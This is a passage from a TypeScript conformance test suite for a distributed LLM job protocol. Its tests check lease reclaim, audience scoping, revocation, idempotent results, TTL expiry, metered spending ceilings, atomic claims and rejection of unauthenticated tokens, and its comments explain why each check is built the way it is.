model verbatim\",\n );\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C003_UNKNOWN_KIND_REFUSED\",\n title: \"a daemon is never handed a kind it did not advertise\",\n musts: [\"KIND_TYPED_ONLY\", \"CLAIM_REQUIRES_CAPABILITY\"],\n async run(target: ConformanceTarget): Promise<void> {\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n // The server must match against the matrix in the claim request, so a\n // job for a kind the daemon does not offer is simply never returned.\n const job = await target.enqueue({\n kind: \"llm.chat\",\n payload: { messages: [{ role: \"user\", content: \"hi\" }] },\n owner: \"alice\",\n });\n const before = daemon.backend.seen.length;\n await daemon.runner.tick();\n await sleep(50);\n\n const state = await target.job(job.id);\n // This daemon *does* advertise llm.chat, so it should run — the\n // negative case is covered by the capability filter below.\n assert(\n state?.state === \"ok\" ||\n state?.state === \"running\" ||\n state?.state === \"claimed\",\n `a job for an advertised kind was not taken (state: ${String(state?.state)})`,\n );\n assert(\n daemon.backend.seen.length > before,\n \"the advertised kind never reached the backend\",\n );\n\n // The negative, which this check's own comment claimed was \"covered\n // by the capability filter below\" and which was not below or anywhere\n // — cloud_008 Tier 3. It asserted only that an advertised kind runs,\n // under a title about a kind never being handed over, citing\n // `CLAIM_REQUIRES_CAPABILITY` while never withholding anything.\n //\n // Claimed raw, advertising one kind, so the *server's* matching is\n // what decides. Through a daemon this proves nothing: a daemon\n // refuses a kind it has no route for, and the job stays queued either\n // way.\n const chat = await target.enqueue({\n kind: \"llm.chat\",\n payload: { messages: [{ role: \"user\", content: \"not for you\" }] },\n owner: \"alice\",\n });\n const generateOnly = await claimRaw(target, daemon, [\n {\n kind: \"llm.generate\",\n service: \"local\",\n backendId: \"openai-http\",\n backendClass: \"http\",\n model: \"echo-model\",\n offerScope: \"private\",\n },\n ]);\n assert(\n !generateOnly.some((offered) => offered.id === chat.id),\n \"a server offered `llm.chat` to a claim advertising only `llm.generate`\",\n );\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C004_LEASE_RECLAIM\",\n title: \"a job whose runner vanished is offered again, losing nothing\",\n musts: [\"LEASE_RECLAIMABLE\", \"LEASE_HONORED\"],\n async run(target: ConformanceTarget): Promise<void> {\n const dead = await pairDaemon(target, {\n owner: \"alice\",\n label: \"dead\",\n offer: \"private\",\n });\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"work\"),\n owner: \"alice\",\n });\n\n // Claim it, then stop existing — no release, no heartbeat.\n dead.backend.hangMs = 60_000;\n const firstLease = await claimOne(target, dead);\n await waitFor(\n async () => {\n const state = await target.job(job.id);\n return state?.state === \"claimed\" || state?.state === \"running\";\n },\n { what: \"the job to be claimed\" },\n );\n // kill -9: no release, no heartbeat, no result. Cancelling instead\n // would make the backend report `canceled` and the job would reach a\n // terminal state, which is the opposite of what reclaim is about.\n await dead.abandon();\n\n // Once the lease lapses the job must be claimable again.\n await advance(target, target.leaseMs + 500);\n\n const alive = await pairDaemon(target, {\n owner: \"alice\",\n label: \"alive\",\n offer: \"private\",\n });\n try {\n // The stale-holder case goes **here**, while the reclaimed job is\n // still live — cloud_008 Tier 3, and this is the third time in this\n // file that ordering decided which rule a test observes.\n //\n // Written after the reclaiming daemon finished, it proved nothing:\n // §3.6 checks terminal state before the holder, so a submission\n // against a completed job is refused as not-current regardless of who\n // holds it, and deleting the holder check failed nothing. A stale\n // holder is only *stale* while somebody else's grant is live.\n const reclaimed = await claimOne(target, alive);\n assert(\n reclaimed.id === job.id,\n \"the reclaiming daemon did not get the job\",\n );\n\n // `LEASE_HONORED`, which this check has cited since it was written\n // and never exercised — cloud_008 Tier 3. Reclaim is\n // `LEASE_RECLAIMABLE`; the dead daemon never submitted anything, so\n // nothing here ever asked whether a stale holder may write.\n //\n // It is the natural end of this check's own story. The machine that\n // vanished comes back, finishes the work it started, and submits\n // under the grant it still believes it holds — which is not\n // hypothetical, it is what a laptop that slept does.\n const late = await postResult(target, dead, {\n jobId: job.id,\n leaseId: firstLease.lease.id,\n outcome: { outcome: \"ok\", text: \"from the machine that vanished\" },\n });\n const lateBody = (await late.json().catch(() => ({}))) as {\n accepted?: boolean;\n };\n assert(\n lateBody.accepted !== true,\n \"a site accepted a result from a runner whose lease had lapsed\",\n );\n\n const midflight = await target.job(job.id);\n assert(\n !midflight?.outcome,\n \"a lapsed holder's result was recorded over a live grant\",\n );\n\n // And the current holder still finishes it — a refusal that also\n // broke the reclaim would pass every assertion above.\n const proper = await postResult(target, alive, {\n jobId: job.id,\n leaseId: reclaimed.lease.id,\n outcome: { outcome: \"ok\", text: \"from the machine that took over\" },\n });\n assert(\n proper.status === 200,\n `the reclaiming daemon could not finish the job (${String(proper.status)})`,\n );\n const final = await target.job(job.id);\n assert(\n final?.outcome?.text === \"from the machine that took over\",\n \"the reclaimed job did not record the current holder's result\",\n );\n } finally {\n await alive.dispose();\n await dead.dispose();\n }\n },\n },\n\n {\n id: \"C005_AUDIENCE_MATRIX\",\n title: \"all four audience x offer-scope combinations behave as specified\",\n musts: [\"AUDIENCE_BOTH_SIDES\", \"NAMED_LOCAL_ALLOWLIST\"],\n async run(target: ConformanceTarget): Promise<void> {\n // Expected outcome for a job owned by `alice` offered to `bob`'s daemon\n // whose local allowlist is empty.\n // Keyed `audience:offer`, in the one vocabulary both axes now speak.\n //\n // **Every cell is `false`**, and that is the property rather than an\n // oddity of the table. `public` was removed on 2026-08-26 because it\n // was the one offer scope that returned ALLOWED *without consulting the\n // device*; the two `true` cells here were both its doing. A matrix with\n // no `true` in it is a matrix in which a stranger's job cannot run\n // until something this device verified says so, and C006 is where that\n // something is supplied and named.\n const expected: Record<string, boolean> = {\n \"private:private\": false,\n \"private:team\": false,\n \"team:private\": false,\n \"team:team\": false, // refused locally — nothing admits alice\n };\n\n for (const audience of AUDIENCES) {\n for (const offer of OFFER_SCOPES) {\n await target.reset();\n const bob = await pairDaemon(target, { owner: \"bob\", offer });\n try {\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"community work\"),\n owner: \"alice\",\n audience,\n });\n\n await bob.runner.tick();\n await sleep(80);\n const state = await target.job(job.id);\n const ran = state?.state === \"ok\";\n const shouldRun = expected[`${audience}:${offer}`] ?? false;\n\n assert(\n ran === shouldRun,\n `audience=${audience} offer=${offer}: expected ` +\n `${shouldRun ? \"to run\" : \"to be refused\"}, got state ` +\n `\"${String(state?.state)}\"`,\n );\n } finally {\n await bob.dispose();\n }\n }\n }\n },\n },\n\n {\n id: \"C006_NAMED_LOCAL_ALLOWLIST\",\n /**\n * Renamed with the release that made the sentence true — Amendment G, B2.\n *\n * The old title read \"a named job runs only once the daemon's own\n * allowlist admits it\", which was true only under a generous reading of\n * \"own\": the list was per-person and local, and a team member had to be\n * enrolled on every machine by hand.\n *\n * The id does not change, per the id-stability law. What changes is the\n * sentence, and it now names all three of the things a reader would\n * otherwise take on faith — that the list is local, that its authority was\n * established out of band, and that admission is a property of the asker\n * rather than of the request.\n */\n title:\n \"a team job is refused by a device whose upstream cannot say who the \" +\n \"asker is, and is not offered to it again\",\n musts: [\"NAMED_LOCAL_ALLOWLIST\", \"REFUSAL_NOT_REOFFERED\"],\n async run(target: ConformanceTarget): Promise<void> {\n const bob = await pairDaemon(target, { owner: \"bob\", offer: \"team\" });\n try {\n const refused = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"before\"),\n owner: \"alice\",\n audience: \"team\",\n });\n\n await bob.runner.tick();\n await sleep(80);\n assert(\n (await target.job(refused.id))?.state !== \"ok\",\n \"a named job ran without the daemon's local allowlist admitting it\",\n );\n\n // `REFUSAL_NOT_REOFFERED`, watched at the offer rather than at the\n // backend — cloud_008 Tier 3, finding 13.\n //\n // This asserted `bob.backend.seen.length` had not grown, which is\n // true whether or not the server remembers the refusal: the daemon\n // declines this job at `admit`, before anything is executed, so a\n // re-offered job reaches the backend exactly as often as a withheld\n // one — never. The check observed a place the job could not arrive.\n //\n // A raw claim is the seam. It runs no daemon admission logic, so what\n // comes back is what the server was still willing to hand over, and\n // the server's memory of the refusal is the only thing that can\n // withhold it.\n const reoffered = await claimRaw(target, bob);\n assert(\n !reoffered.some((job) => job.id === refused.id),\n \"a server re-offered a job to the runner that refused it\",\n );\n\n /**\n * The admitting half of this law is not certifiable here, and saying\n * so is better than pretending — byollm_016 Amendment J.\n *\n * Admission is now a claim-time grant signed by a control plane whose\n * key the device pinned at pairing. A server that pins no such key is\n * in direct mode, where owner-only is the law rather than a\n * limitation, and this kit's targets are direct servers. There is no\n * honest way for the kit to make a stranger's job run here: it would\n * have to author the grant itself, which would certify the kit rather\n * than the target.\n *\n * The refusal above is the half a direct server *can* demonstrate,\n * and it is the half that fails open — so it is the half worth\n * certifying. The admitting half is covered end to end against a real\n * control plane in the relay suite (`admission.test.ts`, freeze gate\n * §6), and returns here when a target can author grants.\n */\n } finally {\n await bob.dispose();\n }\n },\n },\n\n {\n id: \"C007_SUBSCRIPTION_SELF_LOCK\",\n title:\n \"a subscription backend refuses another user's work at any configured scope\",\n musts: [\"SUBSCRIPTION_SELF_LOCK\"],\n async run(target: ConformanceTarget): Promise<void> {\n // Bob's config asks for `public` on a subscription-class backend. The\n // lock must win, on both sides.\n const bob = await pairDaemon(target, {\n owner: \"bob\",\n offer: \"team\",\n subscription: true,\n });\n try {\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"someone else's work\"),\n owner: \"alice\",\n audience: \"team\",\n });\n\n await bob.runner.tick();\n await sleep(80);\n const state = await target.job(job.id);\n assert(\n state?.state !== \"ok\",\n \"a subscription backend ran another user's job\",\n );\n assert(\n bob.backend.seen.length === 0,\n \"another user's prompt reached a subscription backend\",\n );\n\n // The owner's own work still runs on it.\n const own = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"my own work\"),\n owner: \"bob\",\n audience: \"private\",\n });\n await bob.runner.tick();\n await waitFor(async () => (await target.job(own.id))?.state === \"ok\", {\n what: \"the owner's own subscription job to run\",\n });\n } finally {\n await bob.dispose();\n }\n },\n },\n\n {\n id: \"C008_REVOCATION\",\n title: \"a revoked daemon stops mid-queue\",\n // Both halves, and this check already proved both: the daemon learns it\n // is revoked (`REVOCATION_HONORED`), *and* the upstream leaves the job\n // queued rather than granting it (`REVOCATION_IMMEDIATE`). The second\n // assertion was here and cited nothing — which is how a MUST comes to be\n // declared in a spec, absent from the registry, and tested all along.\n musts: [\"REVOCATION_HONORED\", \"REVOCATION_IMMEDIATE\"],\n async run(target: ConformanceTarget): Promise<void> {\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n await target.revokeRunner(daemon.runnerId);\n\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"after revocation\"),\n owner: \"alice\",\n });\n\n await daemon.runner.tick();\n await sleep(80);\n\n assert(\n daemon.runner.status().revoked,\n \"the daemon did not learn it was revoked\",\n );\n assert(\n (await target.job(job.id))?.state === \"queued\",\n \"a revoked daemon took new work\",\n );\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C009_CANCEL_MID_FLIGHT\",\n title: \"cancel aborts a running job's backend call\",\n musts: [\"CANCEL_HONORED\"],\n async run(target: ConformanceTarget): Promise<void> {\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n daemon.backend.hangMs = 30_000;\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"long job\"),\n owner: \"alice\",\n });\n\n await daemon.runner.tick();\n await waitFor(() => daemon.backend.seen.length > 0, {\n what: \"the job to start running\",\n });\n\n await target.cancelJob(job.id);\n // The cancel travels on the next heartbeat.\n await daemon.runner.tick();\n\n await waitFor(\n async () => (await target.job(job.id))?.state === \"canceled\",\n { what: \"the job to report canceled\", timeoutMs: 10_000 },\n );\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C010_RESULT_IDEMPOTENT\",\n title: \"the first terminal outcome wins\",\n musts: [\"RESULT_IDEMPOTENT\"],\n async run(target: ConformanceTarget): Promise<void> {\n // cloud_008 Tier 3. This used to post a duplicate with no envelope, no\n // lease and no signature, and then say so in a comment —\n // \"unauthenticated here, so it is refused before it can matter\". It was\n // refused for being unsigned, never for being a duplicate, so\n // `RESULT_IDEMPOTENT` was never exercised. The body still carried\n // `model` and `durationMs` two alphas after those left the wire, which\n // is what a request nobody parses looks like.\n //\n // Both submissions are now signed, sealed and under the same grant —\n // the shape a retrying daemon actually produces, and the only shape\n // that reaches the idempotency branch at all. A replay under a\n // *different* grant is a different rule (`LEASE_HONORED`, §1.4a) and\n // would be refused before idempotency was consulted.\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"once\"),\n owner: \"alice\",\n });\n\n // Claimed directly rather than by ticking the runner, because this\n // check needs the lease the grant was issued under.\n const claimed = await claimOne(target, daemon);\n assert(claimed.id === job.id, \"the harness could not claim its job\");\n\n const first = await postResult(target, daemon, {\n jobId: job.id,\n leaseId: claimed.lease.id,\n outcome: { outcome: \"ok\", text: \"the answer that counts\" },\n });\n assert(\n first.status === 200,\n `a site refused the first result (${String(first.status)})`,\n );\n\n const replay = await postResult(target, daemon, {\n jobId: job.id,\n leaseId: claimed.lease.id,\n outcome: { outcome: \"ok\", text: \"SECOND ANSWER\" },\n });\n\n // Accepted as a request, and a no-op as a write. A site that answered\n // an error would make a retrying daemon retry forever.\n assert(\n replay.status === 200,\n `a replayed result was rejected rather than ignored (${String(replay.status)})`,\n );\n const body = (await replay.json()) as {\n accepted?: boolean;\n duplicate?: boolean;\n };\n assert(\n body.accepted === false,\n \"a site reported a replayed result as newly accepted\",\n );\n\n // `duplicate`, not a stale-lease refusal — cloud_008 §3.6. The\n // device whose acknowledgment was lost is told its answer is already\n // recorded; the other message would invent a worry about a result\n // that is safely on disk.\n assert(\n body.duplicate === true,\n \"a replay from the device that finished the job was not called a duplicate\",\n );\n\n // The property, not the boolean: the first answer is what survived.\n const after = await target.job(job.id);\n assert(\n after?.outcome?.text === \"the answer that counts\",\n `a second result overwrote the first (${String(after?.outcome?.text)})`,\n );\n\n // A *different* device, signed and sealed, submitting for a job that\n // is already terminal. It must get exactly the refusal it would get\n // for a job that is not terminal — otherwise the two answers differ\n // and a job id becomes a terminality probe: anyone holding an id\n // could learn whether the work had finished by watching which\n // rejection came back.\n const stranger = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n const foreign = await postResult(target, stranger, {\n jobId: job.id,\n leaseId: claimed.lease.id,\n outcome: { outcome: \"ok\", text: \"not this device's to answer\" },\n });\n const foreignBody = (await foreign\n .json()\n .catch(() => ({}))) as Record<string, unknown>;\n assert(\n foreignBody[\"duplicate\"] !== true,\n \"a site told a device that never held this job it was a duplicate\",\n );\n const stillFirst = await target.job(job.id);\n assert(\n stillFirst?.outcome?.text === \"the answer that counts\",\n \"a stranger's result overwrote a terminal job\",\n );\n } finally {\n await stranger.dispose();\n }\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C011_DEPENDENCY_ORDER\",\n title: \"a dependent job waits for its dependency, across two daemons\",\n musts: [\"DEPENDS_ON_GATING\", \"TTL_EXPIRY\"],\n async run(target: ConformanceTarget): Promise<void> {\n // The Press-shaped case from byollm_001 Rev 1 §E: two halves of one\n // piece of work, owned by different people, landing on different\n // machines, in order.\n const alice = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n const bob = await pairDaemon(target, { owner: \"bob\", offer: \"private\" });\n try {\n const first = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"step one\"),\n owner: \"bob\",\n audience: \"private\",\n });\n const second = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"step two\"),\n owner: \"alice\",\n audience: \"private\",\n dependsOn: [first.id],\n });\n\n // Alice's daemon must not be able to start the dependent job yet.\n await alice.runner.tick();\n await sleep(80);\n assert(\n alice.backend.seen.length === 0,\n \"a dependent job ran before its dependency completed\",\n );\n assert(\n (await target.job(second.id))?.state === \"queued\",\n \"a dependent job left the queue early\",\n );\n\n // Bob's daemon does step one.\n await bob.runner.tick();\n await waitFor(\n async () => (await target.job(first.id))?.state === \"ok\",\n { what: \"the dependency to complete\" },\n );\n\n // Now step two becomes available to Alice's.\n await alice.runner.tick();\n await waitFor(\n async () => (await target.job(second.id))?.state === \"ok\",\n { what: \"the dependent job to complete\" },\n );\n } finally {\n await alice.dispose();\n await bob.dispose();\n }\n },\n },\n\n {\n id: \"C012_TTL_AND_NO_RUNNER\",\n title:\n \"an unclaimed job expires and no-runner is surfaced, but not while blocked\",\n musts: [\"TTL_EXPIRY\", \"NO_RUNNER_SIGNAL\"],\n async run(target: ConformanceTarget): Promise<void> {\n // Nothing paired at all.\n const availability = await target.runnerAvailability({\n kind: \"llm.generate\",\n owner: \"alice\",\n });\n assert(\n !availability.available,\n \"no-runner was not surfaced with nothing paired\",\n );\n\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"nobody will run this\"),\n owner: \"alice\",\n ttlMs: target.ttlMs,\n });\n\n await advance(target, target.ttlMs + 500);\n const state = await target.job(job.id);\n assert(\n state?.state === \"expired\",\n `an unclaimed job past its TTL was \"${String(state?.state)}\", not expired`,\n );\n },\n },\n\n {\n id: \"C013_TTL_CLOCK_STARTS_WHEN_CLAIMABLE\",\n title:\n \"a dependent job's TTL starts when it becomes claimable, not at enqueue\",\n musts: [\"TTL_EXPIRY\"],\n async run(target: ConformanceTarget): Promise<void> {\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n // The dependency is held open past the dependent's whole TTL.\n daemon.backend.hangMs = target.ttlMs * 2;\n const first = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"slow step\"),\n owner: \"alice\",\n });\n const second = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"waiting step\"),\n owner: \"alice\",\n dependsOn: [first.id],\n ttlMs: target.ttlMs,\n });\n\n await daemon.runner.tick();\n await advance(target, target.ttlMs + 200);\n\n const blocked = await target.job(second.id);\n assert(\n blocked?.state === \"queued\",\n `a blocked job expired while waiting on its dependency ` +\n `(state: ${String(blocked?.state)}) — the TTL clock started too early`,\n );\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C014_RESULT_PROVENANCE\",\n title:\n \"a community result arrives marked untrusted, a self result does not\",\n // `PROVENANCE_NAMES_DEVICE` supersedes `RESULT_PROVENANCE` — a\n // strengthening rather than a rename. C030 is the other half: a label\n // means nothing unless a result whose signature does not verify against\n // the granted device is refused rather than recorded.\n musts: [\"PROVENANCE_NAMES_DEVICE\"],\n async run(target: ConformanceTarget): Promise<void> {\n const bob = await pairDaemon(target, { owner: \"bob\", offer: \"team\" });\n try {\n /**\n * The untrusted half moved — byollm_016 Amendment J.\n *\n * A community result cannot be produced against a direct target any\n * more: nothing here can author the grant that would let a stranger's\n * job run, and a kit that signed one itself would be certifying the\n * kit. That half is asserted end to end against a real control plane\n * in the relay suite (`admission.test.ts`, \"names the device that ran\n * a stranger's work\").\n *\n * What stays here is the half a direct server can show, and it is not\n * the trivial one: `untrusted: false` is the claim that would do\n * damage if it were wrong, because it is the value an app renders\n * without a warning.\n */\n const own = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"my own\"),\n owner: \"bob\",\n audience: \"private\",\n });\n await bob.runner.tick();\n await waitFor(async () => (await target.job(own.id))?.state === \"ok\", {\n what: \"the self job to complete\",\n });\n assert(\n (await target.job(own.id))?.provenance?.untrusted === false,\n \"a self result was marked untrusted\",\n );\n } finally {\n await bob.dispose();\n }\n },\n },\n\n {\n id: \"C015_INGRESS_BEFORE_EXECUTION\",\n title: \"every executed prompt is in the ingress log before it runs\",\n musts: [\"INGRESS_LOGGED_BEFORE_EXECUTION\"],\n async run(target: ConformanceTarget): Promise<void> {\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n let ticking: Promise<unknown> = Promise.resolve();\n try {\n // The ordering is the MUST, and it is not decoration. The daemon is\n // the owner's trust anchor: `byollm log` promises every prompt that\n // ran here, ever. A daemon that logged after execution would keep that\n // promise until the first crash, kill, or power cut mid-job — and lose\n // exactly the prompt someone would want to look up.\n //\n // Checked while the backend is still running, because after completion\n // both orderings look identical. An earlier version of this check\n // waited for the job to finish and so could not tell them apart:\n // moving the log call after the backend call left it passing.\n daemon.backend.hangMs = 30_000;\n\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"logged prompt\"),\n owner: \"alice\",\n });\n // Deliberately not awaited: the backend is hanging, so this tick does\n // not settle until `dispose` cancels it. Kept and awaited in the\n // `finally`, because a discarded rejection here would surface as an\n // unhandled rejection in whatever test ran next.\n ticking = daemon.runner.tick().catch(() => undefined);\n\n // Execution has demonstrably begun: the backend has the prompt.\n await waitFor(() => Promise.resolve(daemon.backend.seen.length > 0), {\n what: \"the backend to be called\",\n });\n\n const during = await daemon.ingress.read();\n const logged = during.find(\n (entry) => entry.type === \"prompt\" && entry.jobId === job.id,\n );\n assert(\n logged !== undefined,\n \"a prompt reached the backend before it reached the ingress log\",\n );\n assert(\n logged.type === \"prompt\" && logged.prompt === \"logged prompt\",\n \"the ingress log did not record the prompt text\",\n );\n } finally {\n await daemon.dispose();\n await ticking;\n }\n },\n },\n\n {\n id: \"C016_UNAUTHENTICATED_REFUSED\",\n title: \"the protocol endpoints refuse an unknown token\",\n // `CONSENT_BEFORE_ROUTE` on this plane. A relay has a consent record; a\n // direct site has pairing, and it is the same obligation — an upstream\n // routes to a device it has a record binding, and there is no discovery\n // path by which an unbound device receives work. Every endpoint is\n // checked rather than just `claim`, which is what makes it the absence\n // of a path rather than the absence of one door.\n musts: [\"PAIR_ONE_USER\", \"CONSENT_BEFORE_ROUTE\"],\n async run(target: ConformanceTarget): Promise<void> {\n for (const endpoint of [\"claim\", \"heartbeat\", \"result\", \"release\"]) {\n const response = await target.fetch(\n new Request(`${target.origin}/byollm/${endpoint}`, {\n method: \"POST\",\n headers: {\n \"content-type\": \"application/json\",\n authorization: \"Bearer definitely-not-a-real-token\",\n },\n body: JSON.stringify({ protocolVersion: PROTOCOL_VERSION }),\n }),\n );\n assert(\n response.status === 401,\n `${endpoint} answered ${String(response.status)} to an unknown token, not 401`,\n );\n }\n },\n },\n\n {\n id: \"C017_METERED_DEFAULTS_SELF\",\n title:\n \"a paid backend is not shared until its owner says so, with a ceiling\",\n // `EFFECTIVE_OFFER_ONLY` too: bob asks for `public`, what reaches the\n // server is `self`, and the server acts on what it was told rather than\n // on what was wanted. That *is* the effective-offer rule, proved here\n // without being named.\n musts: [\n \"METERED_DEFAULTS_SELF\",\n \"COST_NOT_CONFIGURABLE\",\n \"EFFECTIVE_OFFER_ONLY\",\n ],\n async run(target: ConformanceTarget): Promise<void> {\n // Bob asks for `public` on a metered provider and says nothing about\n // spending. The ask is not honoured: what reaches the server is `self`,\n // and the server must act on what it was told.\n const bob = await pairDaemon(target, {\n owner: \"bob\",\n offer: \"team\",\n // Pointed at localhost — which changes nothing, because a named\n // provider's cost comes from the registry, not from an address\n // ({@link MUSTS.COST_NOT_CONFIGURABLE}).\n metered: { provider: \"openai\", baseUrl: \"http://127.0.0.1:11434/v1\" },\n });\n try {\n assert(\n bob.loaded.routes.every((route) => route.offerScope === \"private\"),\n \"a metered backend was advertised beyond its owner without consent\",\n );\n assert(\n bob.loaded.routes.every((route) => route.cost === \"metered\"),\n \"a metered provider was read as free because of its base URL\",\n );\n\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"spend someone else's money\"),\n owner: \"alice\",\n audience: \"team\",\n });\n\n await bob.runner.tick();\n await sleep(80);\n const state = await target.job(job.id);\n assert(\n state?.state !== \"ok\",\n \"a stranger's job ran on a paid backend nobody agreed to share\",\n );\n assert(\n bob.backend.seen.length === 0,\n \"a stranger's prompt reached a paid backend\",\n );\n\n // And the server says so up front, rather than promising a runner\n // that would refuse ({@link MUSTS.NO_RUNNER_SIGNAL}).\n const availability = await target.runnerAvailability({\n kind: \"llm.generate\",\n owner: \"alice\",\n audience: \"team\",\n });\n assert(\n !availability.available,\n \"the server offered a runner that will not take the work\",\n );\n\n // Bob's own work still runs. Narrowing is not disabling.\n const own = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"my own work\"),\n owner: \"bob\",\n audience: \"private\",\n });\n await bob.runner.tick();\n await waitFor(async () => (await target.job(own.id))?.state === \"ok\", {\n what: \"the owner's own metered job to run\",\n });\n } finally {\n await bob.dispose();\n }\n },\n },\n\n {\n id: \"C018_METERED_CEILING\",\n title: \"a shared paid backend runs others' work, and stops at its ceiling\",\n musts: [\"METERED_REQUIRES_CEILING\", \"REMOTE_IS_NEVER_FREE\"],\n async run(target: ConformanceTarget): Promise<void> {\n // This time Bob means it: consent, and a number.\n const bob = await pairDaemon(target, {\n owner: \"bob\",\n offer: \"team\",\n metered: {\n // The generic backend pointed at a remote address. No registry entry\n // says what this costs; it is metered because of where it goes\n // ({@link MUSTS.REMOTE_IS_NEVER_FREE}).\n provider: \"openai-http\",\n baseUrl: \"https://models.example.com/v1\",\n acknowledged: true,\n dailyCapCents: 500,\n },\n });\n try {\n assert(\n bob.loaded.routes.every((route) => route.cost === \"metered\"),\n \"a remote backend was treated as free\",\n );\n assert(\n bob.loaded.routes.every((route) => route.offerScope === \"team\"),\n \"a deliberately shared metered backend was narrowed anyway\",\n );\n\n /**\n * \"Runs others' work\" moved; \"stops at the ceiling\" stays —\n * byollm_016 Amendment J.\n *\n * A stranger's job cannot run against a direct target any more, so\n * the *positive* half of this check is not certifiable here without\n * the kit authoring its own grant. What remains is the half that\n * costs money when it is wrong: a device that has spent its ceiling\n * must refuse, and it must refuse before the prompt reaches a paid\n * endpoint.\n *\n * Note what that leaves in place above: the effective offer scope is\n * still asserted as `team`, so this check still proves a deliberately\n * shared metered backend is *not* narrowed — which is the thing\n * `EFFECTIVE_OFFER_ONLY` is about.\n */\n await bob.spend.record(\"primary\", 900, Date.now());\n\n const second = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"work past the ceiling\"),\n owner: \"alice\",\n audience: \"team\",\n });\n const seenBefore = bob.backend.seen.length;\n await bob.runner.tick();\n await sleep(80);\n const state = await target.job(second.id);\n assert(\n state?.state !== \"ok\",\n \"a paid backend kept working past the ceiling its owner set\",\n );\n assert(\n bob.backend.seen.length === seenBefore,\n \"a prompt reached a paid backend that had spent its ceiling\",\n );\n\n // The ceiling governs other people's work, not the owner's own.\n const own = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"my own work, my own key\"),\n owner: \"bob\",\n audience: \"private\",\n });\n await bob.runner.tick();\n await waitFor(async () => (await target.job(own.id))?.state === \"ok\", {\n what: \"the owner's own job to run past the community ceiling\",\n });\n } finally {\n await bob.dispose();\n }\n },\n },\n\n {\n id: \"C019_CLAIM_ATOMIC\",\n title: \"two runners racing one job — exactly one gets it\",\n musts: [\"CLAIM_ATOMIC\"],\n async run(target: ConformanceTarget): Promise<void> {\n // The check most likely to catch a real store bug. A Postgres adapter\n // without `FOR UPDATE SKIP LOCKED`, or a memory store with an `await`\n // between \"read queued\" and \"write claimed\", passes every other check\n // in this kit and double-runs jobs the moment two daemons are online.\n // The user sees one prompt answered twice and pays for it twice.\n const a = await pairDaemon(target, {\n owner: \"alice\",\n label: \"laptop\",\n offer: \"private\",\n });\n const b = await pairDaemon(target, {\n owner: \"alice\",\n label: \"desktop\",\n offer: \"private\",\n });\n try {\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"only once, please\"),\n owner: \"alice\",\n audience: \"private\",\n });\n\n // Concurrently, not in sequence — sequential ticks would pass against\n // a store with no atomicity at all.\n await Promise.all([a.runner.tick(), b.runner.tick()]);\n await waitFor(async () => (await target.job(job.id))?.state === \"ok\", {\n what: \"the contested job to finish\",\n });\n\n const ran = a.backend.seen.length + b.backend.seen.length;\n assert(\n ran === 1,\n `the job ran ${String(ran)} times across two runners, not once`,\n );\n } finally {\n await a.dispose();\n await b.dispose();\n }\n },\n },\n\n {\n id: \"C020_PAIR_CODE_EXPIRES\",\n title: \"an expired device code cannot be redeemed\",\n musts: [\"PAIR_CODE_EXPIRES\"],\n async run(target: ConformanceTarget): Promise<void> {\n // A device code is a bearer credential displayed on a screen. If it\n // outlives its window, a code left visible in a terminal — or read over\n // someone's shoulder hours later — still pairs a stranger's daemon to\n // this user's account.\n const started = await target.fetch(\n new Request(`${target.origin}/byollm/pair`, {\n method: \"POST\",\n headers: { \"content-type\": \"application/json\" },\n body: JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n action: \"start\",\n device: publicIdentityOf(generateKeys(Date.now())),\n daemon: {\n version: \"conformance\",\n label: \"expiring-daemon\",\n platform: \"linux\",\n },\n capabilities: [],\n }),\n }),\n );\n assert(started.status === 200, \"pair start did not answer 200\");\n const pairing = (await started.json()) as {\n deviceCode: string;\n userCode: string;\n expiresAt: number;\n };\n\n // Past the window the server itself declared.\n await advance(target, pairing.expiresAt - Date.now() + 1_000);\n\n // 1. Approval must not resurrect it. A server that pairs here has an\n // expiry that is decoration.\n let approved = true;\n try {\n await target.approvePairing(pairing.userCode, \"alice\");\n } catch {\n approved = false;\n }\n\n // 2. And the daemon polling with the device code must be told, in the\n // protocol's own words, rather than left waiting.\n const polled = await target.fetch(\n new Request(`${target.origin}/byollm/pair`, {\n method: \"POST\",\n headers: { \"content-type\": \"application/json\" },\n 